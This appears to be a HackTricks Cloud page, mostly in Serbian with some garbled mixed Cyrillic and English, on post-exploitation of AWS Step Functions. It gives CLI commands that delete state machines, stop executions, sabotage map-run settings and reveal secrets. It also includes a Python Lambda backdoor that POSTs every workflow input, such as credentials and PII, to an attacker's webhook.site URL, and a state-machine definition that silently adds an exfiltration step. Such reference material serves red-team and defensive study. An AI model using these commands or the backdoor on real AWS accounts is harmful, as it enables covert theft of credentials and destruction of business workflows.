AWS - Step Functions Post Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Step Functions
Za više informacija o ovoj AWS usluzi, pogledajte:
states:RevealSecrets
Ovo dopuštenje omogućava otkrivanje tajnih podataka unutar execution-a. Da bi se to postiglo, potrebno je podesiti Inspection level na TRACE i revealSecrets parametar na true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Napadač sa ovim privilegijama mogao bi trajno obrisati state machines, njihove versions i aliases. Ovo može poremetiti kritične tokove rada, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih state machines. Pored toga, omogućilo bi napadaču da prikrije tragove, ometa forenzičke istrage i potencijalno paralizuje operacije uklanjanjem ključnih automatizovanih procesa i konfiguracija stanja.
Note
- Deleting a state machine you also delete all its associated versions and aliases.
- Deleting a state machine alias you do not delete the state machine versions referecing this alias.
- It is not possible to delete a state machine version currently referenced by one o more aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potencijalni uticaj: Poremećaj kritičnih tokova rada, gubitak podataka i operativni zastoj.
states:UpdateMapRun
Napadač sa ovom dozvolom mogao bi да manipuliše Map Run konfiguracijom za greške i paralelnim podešavanjem, povećавајући или smanjuјући maksimalan broj dozvoljenih izvršavanja podređenih tokova rada, što direktno utiče на performanse servisa. Pored toga, нападач би могао да мења проценат и број толерисаних грешака, смањујући ову вредност на 0, тако да сваки пут када једна ставка zakaže, ceo map run би paо, директно утичући на state machine извршавање и потенцијално ометајући критичне токове рада.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Potencijalni uticaj: Pogoršanje performansi i prekid kritičnih radnih tokova.
states:StopExecution
Napadač sa ovom dozvolom može zaustaviti izvršavanje bilo koje state machine, ometajući tekuće tokove rada i procese. To može dovesti do nepotpunih transakcija, zaustavljenih poslovnih aktivnosti i potencijalne korupcije podataka.
Warning
Ova akcija nije podržana za express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Potencijalni uticaj: Prekid tekućih tokova rada, operativni zastoji i potencijalno oštećenje podataka.
states:TagResource, states:UntagResource
Napadač može dodati, izmeniti ili ukloniti tagove sa Step Functions resursa, narušavajući raspodelu troškova organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tagovima.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Potencijalni uticaj: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na tagovima.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…može izvesti high-impact and stealthy post-exploitation attack kombinovanjem Lambda backdooring sa Step Function logic manipulation.
Ovaj scenarij pretpostavlja da žrtva koristi AWS Step Functions to orchestrate workflows that process sensitive input, kao što su credentials, tokens, ili PII.
Primer poziva žrtve:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Ako je Step Function konfigurisana da pozove Lambda kao LegitBusinessLogic, napadač može nastaviti sa dve prikrivene varijante napada:
Ažurirana Lambda funkcija
Napadač menja kod Lambda funkcije koju Step Function već koristi (LegitBusinessLogic) kako bi tiho exfiltrate ulazne podatke.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Dodajte zlonamerno stanje u Step Function
Alternativno, napadač može ubaciti exfiltration state na početak toka rada ažuriranjem definicije Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Napadač može još prikrivenije da ažurira definiciju stanja u nešto poput ovoga
{ “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } gde žrtva neće primetiti razliku
Podešavanje žrtve (Kontekst za eksploataciju)
- Step Function (
LegitStateMachine) se koristi za obradu osetljivih korisničkih unosa. - Poziva jednu ili više Lambda funkcija kao što je
LegitBusinessLogic.
Potencijalni uticaj:
- Tihi exfiltration osetljivih podataka uključujući secrets, credentials, API keys i PII.
- Nema vidljivih grešaka ili neuspeha pri izvršavanju workflow-a.
- Teško otkriti bez revizije Lambda koda ili execution traces.
- Omogućava long-term persistence ako backdoor ostane u kodu ili u ASL logici.
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

